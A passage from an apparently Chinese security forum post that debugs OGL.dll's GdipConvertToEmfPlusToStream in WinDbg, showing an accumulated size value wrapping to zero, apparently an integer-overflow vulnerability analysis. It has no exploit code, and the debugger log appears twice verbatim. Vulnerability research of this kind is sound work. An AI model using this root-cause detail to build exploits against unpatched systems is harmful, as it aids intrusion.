可以看到在公式第一部分的循环累加中,循环大小(esi)为0x44,第1个累加值为0xffffb898
我们对第0x2-0x44次的累加值进行输出:
0:000> bp 67c6578d ".printf \"value=0x%p\\n\", poi(edx); g;"
0:000> g
value=0x000000b2
value=0x000000b2
value=0x000000b3
value=0x000000b3
value=0x000000b2
value=0x000000b1
value=0x000000b1
value=0x000000b1
value=0x000000b2
value=0x000000b2
value=0x000000b2
value=0x000000b3
value=0x000000b2
value=0x000000b2
value=0x000000b2
value=0x000000db
value=0x000000b0
value=0x000000b2
value=0x000000b2
value=0x000000bd
value=0x000000e0
value=0x000000e4
value=0x000000e9
value=0x000000fc
value=0x00000102
value=0x000000fb
value=0x000000f0
value=0x000000ef
value=0x00000102
value=0x0000010a
value=0x000000ff
value=0x000000f7
value=0x000000f9
value=0x000000fa
value=0x000000d8
value=0x000000dc
value=0x000000dd
value=0x000000cb
value=0x000000c8
value=0x000000c5
value=0x000000bb
value=0x000000c0
value=0x000000c2
value=0x000000c5
value=0x000000c6
value=0x000000bf
value=0x000000a4
value=0x000000a4
value=0x000000a4
value=0x000000a4
value=0x000000a4
value=0x000000a4
value=0x000000a4
value=0x000000a4
value=0x000000a4
value=0x000000a4
value=0x000000a4
value=0x000000a4
value=0x000000a4
value=0x000000a4
value=0x000000a4
value=0x000000a4
value=0x000000a4
value=0x000000a4
value=0x000000a4
value=0x000000a4
value=0x00000080
Fri Apr 13 11:48:38.297 2018 (GMT+8): Breakpoint 1 hit
eax=ffffeaec ebx=00000004 ecx=00000044 edx=0d15ac40 esi=00000000 edi=0c8aea50
eip=67c65793 esp=00260378 ebp=0026037c iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00200246
OGL!GdipConvertToEmfPlusToStream+0x14ab6:
67c65793 8b750c mov esi,dword ptr [ebp+0Ch] ss:0023:00260388=00001484
0:000> bp 67c6578d ".printf \"value=0x%p\\n\", poi(edx); g;"
0:000> g
value=0x000000b2
value=0x000000b2
value=0x000000b3
value=0x000000b3
value=0x000000b2
value=0x000000b1
value=0x000000b1
value=0x000000b1
value=0x000000b2
value=0x000000b2
value=0x000000b2
value=0x000000b3
value=0x000000b2
value=0x000000b2
value=0x000000b2
value=0x000000db
value=0x000000b0
value=0x000000b2
value=0x000000b2
value=0x000000bd
value=0x000000e0
value=0x000000e4
value=0x000000e9
value=0x000000fc
value=0x00000102
value=0x000000fb
value=0x000000f0
value=0x000000ef
value=0x00000102
value=0x0000010a
value=0x000000ff
value=0x000000f7
value=0x000000f9
value=0x000000fa
value=0x000000d8
value=0x000000dc
value=0x000000dd
value=0x000000cb
value=0x000000c8
value=0x000000c5
value=0x000000bb
value=0x000000c0
value=0x000000c2
value=0x000000c5
value=0x000000c6
value=0x000000bf
value=0x000000a4
value=0x000000a4
value=0x000000a4
value=0x000000a4
value=0x000000a4
value=0x000000a4
value=0x000000a4
value=0x000000a4
value=0x000000a4
value=0x000000a4
value=0x000000a4
value=0x000000a4
value=0x000000a4
value=0x000000a4
value=0x000000a4
value=0x000000a4
value=0x000000a4
value=0x000000a4
value=0x000000a4
value=0x000000a4
value=0x00000080
Fri Apr 13 11:48:38.297 2018 (GMT+8): Breakpoint 1 hit
eax=ffffeaec ebx=00000004 ecx=00000044 edx=0d15ac40 esi=00000000 edi=0c8aea50
eip=67c65793 esp=00260378 ebp=0026037c iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00200246
OGL!GdipConvertToEmfPlusToStream+0x14ab6:
67c65793 8b750c mov esi,dword ptr [ebp+0Ch] ss:0023:00260388=00001484
可以看到此时的累加结果(eax)为0xffffeaec
执行完后面的三句后,累加结果分别如下:
0:000> p
eax=ffffeaec ebx=00000004 ecx=00000044 edx=0d15ac40 esi=00001484 edi=0c8aea50
eip=67c65796 esp=00260378 ebp=0026037c iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00200246
OGL!GdipConvertToEmfPlusToStream+0x14ab9:
67c65796 8d444808 lea eax,[eax+ecx*2+8]
0:000> p
eax=ffffeb7c ebx=00000004 ecx=00000044 edx=0d15ac40 esi=00001484 edi=0c8aea50
eip=67c6579a esp=00260378 ebp=0026037c iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00200246
OGL!GdipConvertToEmfPlusToStream+0x14abd:
67c6579a 03c6 add eax,esi
0:000> p
eax=00000000 ebx=00000004 ecx=00000044 edx=0d15ac40 esi=00001484 edi=0c8aea50
eip=67c6579c esp=00260378 ebp=0026037c iopl=0 nv up ei pl zr ac pe cy
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00200257
OGL!GdipConvertToEmfPlusToStream+0x14abf:
67c6579c 50 push eax
0:000> p
eax=ffffeaec ebx=00000004 ecx=00000044 edx=0d15ac40 esi=00001484 edi=0c8aea50
eip=67c65796 esp=00260378 ebp=0026037c iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00200246
OGL!GdipConvertToEmfPlusToStream+0x14ab9:
67c65796 8d444808 lea eax,[eax+ecx*2+8]
0:000> p
eax=ffffeb7c ebx=00000004 ecx=00000044 edx=0d15ac40 esi=00001484 edi=0c8aea50
eip=67c6579a esp=00260378 ebp=0026037c iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00200246
OGL!GdipConvertToEmfPlusToStream+0x14abd:
67c6579a 03c6 add eax,esi
0:000> p
eax=00000000 ebx=00000004 ecx=00000044 edx=0d15ac40 esi=00001484 edi=0c8aea50
eip=67c6579c esp=00260378 ebp=0026037c iopl=0 nv up ei pl zr ac pe cy
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00200257
OGL!GdipConvertToEmfPlusToStream+0x14abf:
67c6579c 50 push eax
[培训]内核驱动高级班,冲击BAT一流互联网大厂工作,每周日13:00-18:00直播授课
最后于 2018-4-15 13:29
被银雁冰编辑
,原因:
上传的附件: